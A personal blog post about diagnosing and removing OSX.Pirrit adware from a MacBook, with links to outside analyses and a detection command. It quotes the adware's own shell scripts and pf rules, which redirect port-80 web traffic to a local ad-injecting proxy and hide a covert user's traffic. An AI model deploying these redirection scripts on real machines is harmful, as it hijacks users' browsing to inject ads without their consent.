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2016, Jul 09 - Dimitri Merejkowsky License: CC By 4.0
Some time ago my little sister complained that her MacBook was getting slow, and had frequent freezes, to the point it was barely usable any more.
She also was seeing many ads when browsing, even though she had an ad blocker instead.
So I lend her my own laptop while I kept hers to investigate.
Here's what happened next ...
In order to investigate the freezes, I start `htop` to have a look at the processes that are running.
I see a bunch of scripts running (as root), and some other processes running with weird user names:
root /bin/sh /etc/branchiosaurian.sh instroke /Library/branchiosaurian/Contents/MacOS/branchiosaurian
Googling "branchiosaurian virus MacOS" or "instroke user name" leads to nowhere.
The process are running from a strange location: it's rare to see `*.sh` scripts in `/etc`, usually `/etc` is only used for configuration files.
So I decide to see how many there are in `/etc`:
$ ls /etc/*.sh /etc/Dicyemida.sh* /etc/Fulah.sh* /etc/Gothism.sh* /etc/audile.sh* /etc/axogamy.sh* /etc/bacteriohemolysin.sh* /etc/branchiosaurian.sh* /etc/duello.sh* /etc/entry.sh* /etc/gallflowerUpd.sh* /etc/hemodystrophy.sh* /etc/lichenlike.sh* /etc/overreach.sh* /etc/retinene.sh* /etc/run_upd.sh* /etc/sidereally.sh* /etc/tealess.sh* /etc/thiocyanide.sh* /etc/unwittingly.sh
All the scripts look the same, only the weird names for the process and the user are different:
if [ -a /Library/branchiosaurian/Contents/MacOS/branchiosaurian ]; then sleep 10 sudo pfctl -evf /etc/branchiosaurian.conf sudo -u Benjy /Library/branchiosaurian/Contents/MacOS/branchiosaurian fi exit 0
Each of them has a matching folder in `/Library/<name>`
`/Library/<name>/Contents/MacOS/<name>` is a Mach-O C++ executable, with dependencies on Qt4 frameworks stuff (`Qt4Core`, `QtGui` and `QtNetwork`) in `Contents/Frameworks`, like any `Qt` application.
(Except they are in `/Library` and not `/Applications` ...)
There's also a script in `Contents/MacOS/rec_script.sh` which contains:
# set redirections
HIDDEN_USER=$(sudo defaults read /Library/Preferences/com.common.plist user_id)
echo $HIDDEN_USER
activeInterface=$(route get default | sed -n -e 's/^.*interface: //p')
if [ -n "$activeInterface" ]; then
pfData="rdr pass inet proto tcp from $activeInterface to any port 80 -> 127.0.0.1 port 9882\n\
pass out on $activeInterface route-to lo0 inet proto tcp from $activeInterface to any port 80 keep state\n\
pass out proto tcp all user "$HIDDEN_USER"\n"
echo "$pfData" > /etc/pf_proxy.conf
else
echo "Unable to find active interface"
exit 1
fi
exit 0
And a configuration file in `/etc`
$ cat /etc/branchiosaurian.conf rdr pass inet proto tcp from en1 to any port 80 -> 127.0.0.1 port 9882 pass out on en1 route-to lo0 inet proto tcp from en1 to any port 80 keep state pass out proto tcp all user indianaite
Finally, a `ps aux` shows a `pfctl` processes running like this:
pfctl -evf /et/<name>.conf
So there are a bunch of processes doing something with the network, re-rooting traffic going through the `80` port to somewhere else. This can't be good ...
Confused, I run the only thing I can think of:
$ strings /Library/branchiosaurian/Contents/MacOS/branchiosaurian ... AdsProxyEngine userDisabledProxy() ...
Ahah! Googling `virus mac AdsProxyEngine` leads to reddit thread: *Ever heard of the process uncontainable?[1]*
1: https://www.reddit.com/r/apple/comments/4g4pup/ever_heard_of_the_process_uncontainable/
There's a confused Mac user who is seeing processes with weird names too: (Here, a `uncontainable` process is running as the `razoredge` user)
Reading the thread leads to the following pages, which explain everything:
https://objective-see.com/blog/blog_0x0E.html[2])
2: https://objective-see.com/blog/blog_0x0E.html
Here's a quick summary:
3: http://www.cybereason.com/cybereason-labs-analysis-the-minds-behind-the-osx-pirrit/
1. The virus is known as "OSX.Pirrit": it started as a Windows program, and then ported to Mac.
2. The virus installs a program well hidden which intercepts traffic to external websites in order to insert ads. That's what causes the freezes, and the fact that AdBlock does not seem to work. It's called an "adware" (a portmanteau word from "ads" and "software")
3. Fortunately for us, one of the programmers made the mistake of packaging the software on its own machine using `tar`, which records the user name and the date. That's how the researchers from Cybereason were able to find woh's behind the adware: a guy working for TargetingEdge, a "online marketing" company.
4. Quoting the article from Cybereason:
The adware's creators removed the original installers for MPlayerX, NicePlayer
and VLC, legitimate media players that people can easily download, and replaced
them with an installer that has OSX.Pirrit as well as the media player.
I knew that my sister had installed MPlayerX, so I looked around, and even found a thread where someone says that the MPlayerX author himself was offering the adware bundled with the installer on his web site. (It's a rumour, no way for me to check if this is true ...)
$ dscl . -list /Users UniqueID
By the way, that's how you can check whether you are infected with this virus or not: the names change, but the user numeric ID is hard-coded and is always 401 ...
4: http://kmkeen.com/maintainers-matter/
First, I'm going to reformat and re-install the operating system using DiskMaker X[5], but I don't really know what to tell my sister so this does not happen again.
Don't tell me to install an antivirus, I know it won't work[6].
6: http://www.ranum.com/security/computer_security/editorials/dumb/
People tell me there's a GUI from `homebrew`, I'll try that, but if you have some ideas, (besides only using the Apple Store for now), I'd love to hear from you[7] ;)
There's also the option of only allowing apps from the AppStore (not even those which are signed with a developer key)
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